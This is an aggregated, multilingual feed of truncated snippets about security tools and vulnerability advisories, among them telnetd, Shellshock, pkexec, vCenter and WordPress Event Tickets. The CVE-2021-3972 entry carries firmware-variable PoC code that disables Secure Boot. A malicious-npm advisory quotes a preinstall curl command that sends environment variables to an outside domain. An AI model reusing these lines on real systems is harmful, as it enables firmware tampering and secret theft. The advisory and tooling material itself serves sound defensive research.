binaryninja-ollama

Binary Ninja Ollama v1.0.9 作者：Austin Haggard Binary Ninja Ollama 集成您本地托管的 ollama 服务器，利用 AI 重命名函数和变量 描述： Ollama 是一个允许你拉取开源 AI 模型并在本地运行的工具。 有些模型需要强大的计算能力，而另一些则可以在你的个人笔记本上运行。 根据你选择的模型，结果会大不相同 :。 为什么要用这个而不是 sidekick/openai？ 1. 它是免费的，而且在本地设置很简单。 2. 我说过它是免费的吗？ 3. 它可以在没有互联网的任何地方运行！ 4. 你的数据只保留在你和你的 ollam...

efi_fuzz

efifuzz UEFI NVRAM変数のためのシンプルなカバレッジ誘導型ファザー。 Qiling と AFL++ に基づいています。 作者: Itai Liba @liba2k と Assaf Carlsbad @assafcarlsbad。 使用方法 Docker環境の使用 1. イメージをビルド: docker build -t efifuzz . 2. 環境をテスト: docker run -v $PWD:/efifuzz -it efifuzz sh -c "cd efifuzz/tests/ && pytest -s -v -W...

dumpscan

Public development on this tool has been paused but is still being worked on privately. Expect a massive update Q3/Q4 2024. Dumpscan is a command-line tool designed to extract and dump secrets from kernel and Windows Minidump formats. Kernel-dump parsing is provided by volatility3. Features x509...

Joomla-3.10.12-languagehelper-hotfix

此仓库已过时，请改用此仓库：https://github.com/TLWebdesign/Joomla-3-EOL-Security-Fixes Joomla-3.10.12 LanguageHelper.php 热修复 这个小插件将帮助您更新 LanguageHelper 文件，其中包含我从 Joomla 4.4.1 反向移植的安全修复。有关此漏洞的更多信息，请参见：https://developer.joomla.org/security-centre/919-20231101-core-exposure-of-environment-variables.html 捐赠给 Jooml...

CVE-2021-3972

CVE-2021-3972 仅包含 PoC 代码，无其他内容 BYTE value = 0x1; SetFirmwareEnvironmentVariableExT"ChgBootSecureBootDisable",T"6ACCE65D-DA35-4B39-B64B-5ED927A7DC7E",&value,sizeofBYTE,0x7; SetFirmwareEnvironmentVariableExT"ChgBootChangeLegacy",T"6ACCE65D-DA35-4B39-B64B-5ED927A7DC7E",&value,sizeofBYTE,0x7;...

Ashwesker-CVE-2026-24061

🚨 CVE-2026-24061 : GNU InetUtils telnetd 中的严重远程身份验证绕过漏洞 🧠 概述 CVE-2026-24061 是一个影响 GNU InetUtils 中 telnetd 服务的严重漏洞。 该漏洞允许未经身份验证的远程攻击者通过利用传递给系统登录进程的环境变量处理不当，以 root 身份登录。 影响： 系统完全沦陷。 严重性： 🔥 严重 （CVSS 9.8） 🎯 受影响版本 GNU InetUtils telnetd 版本：1.9.3 → 2.7 如果您的系统上启用了 telnet 且运行的是这些版本，则存在漏洞风险。 💥 漏洞利用摘要 USER...

CVE-2024-37081

VMware vCenter - CVE-2024-37081 概念验证 描述 该仓库包含了针对 VMware vCenter 中 CVE-2024-37081 漏洞的概念验证（PoC）。该漏洞源于 /etc/sudoers 文件中的错误配置，允许在执行 sudo 命令时保留危险的环境变量（dangerous environmental variables）。攻击者可利用此漏洞以 root 权限执行任意命令。 漏洞详情 ID : CVE-2024-37081 描述 : /etc/sudoers 文件中 Defaults envkeep 参数的错误配置，使得在执行 sudo...

CVE-2026-105893

Authorization Bypass Through User-Controlled Key vulnerability in Liquid Web / StellarWP Event Tickets event-tickets allows Manipulating User-Controlled Variables.This issue affects Event Tickets: from n/a through 5.30.0.1...

CVE-2026-105893 WordPress Event Tickets plugin <= 5.30.0.1 - Broken Access Control vulnerability

Authorization Bypass Through User-Controlled Key vulnerability in Liquid Web / StellarWP Event Tickets event-tickets allows Manipulating User-Controlled Variables.This issue affects Event Tickets: from n/a through 5.30.0.1...

CVE-2026-105893

The Liquid Web / StellarWP Event Tickets plugin (version 5.30.0.1 and earlier) is vulnerable to an Authorization Bypass caused by a User-Controlled Key vulnerability. This flaw allows for the manipulation of User-Controlled Variables , potentially leading to unauthorized access. The CVSS 3.1 scor...

EUVD-2026-94954

Authorization Bypass Through User-Controlled Key vulnerability in Liquid Web / StellarWP Event Tickets event-tickets allows Manipulating User-Controlled Variables.This issue affects Event Tickets: from n/a through 5.30.0.1...

Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

Vendure - Arbitrary File Read

Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure's asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data...

Juniper J-Web - Remote Code Execution

A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands id: CVE-2023-36845 info: name: Juniper J-Web - Remote Code...

OwnCloud - Phpinfo Configuration

An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment phpinfo. This information...

patched-bash-4.3

patched-bash-4.3 patched-bash-4.3 para CVE-2014-6271 Esto es simplemente bash 4.3, descargado del sitio web de GNU y parcheado con los parches disponibles el 26/9/2014, incluidos los cambios de funcionalidad de pkgsrc que desactivan por completo la absurda "ejecución de funciones en variables de...

CVE-2014-6271

CVE-2014-6271 "ShellShock"是GNU Bash 4.3及之前版本中存在的一个漏洞，原因是在函数定义之后，Bash处理环境变量值中尾部字符串的方式存在问题。该漏洞使得远程攻击者能够在特定情况下通过构造环境变量来执行任意代码，包括当环境变量跨越Bash执行的权限边界设置时。该漏洞已在多种场景中得到验证，例如OpenSSH sshd的ForceCommand特性、Apache...

CVE-2026-63270

A flaw was found in LibreOffice. This vulnerability allows information disclosure when a user opens a specially crafted document. An attacker can construct malicious URLs within document features that expand local environment variables or configuration settings, enabling the exfiltration of...

CVE-2021-4034

CVE-2021- 在 polkit 的 pkexec 实用程序中发现了一个本地权限提升漏洞。pkexec 应用程序是一个 setuid 工具，旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。当前版本的 pkexec 未能正确处理调用参数计数，最终导致将环境变量作为命令执行。攻击者可以通过精心构造环境变量来利用这一点，诱导 pkexec 执行任意代码。攻击成功执行后，可导致本地权限提升，使非特权用户获得目标机器的管理权限。 TryHackMe 链接 - tryhackme.com/jr/cve20214034...

kli-ex

kli-ex kli-ex 是 kli 的扩展版本。仅提供一个修改思路。 你可以按自己的喜好任意修改加密算法。 功能特性 隐藏全局变量 使用随机种子 添加缓存机制 示例1 auto pExAllocatePoolWithTag = KLICALLExAllocatePoolWithTag, NonPagedPool, PAGESIZE, 'enoN'; if pExAllocatePoolWithTag dprintf"testonce:ExAllocatePoolWithTag=%p\n", pExAllocatePoolWithTag; KLICALLExFreePoolWithTa...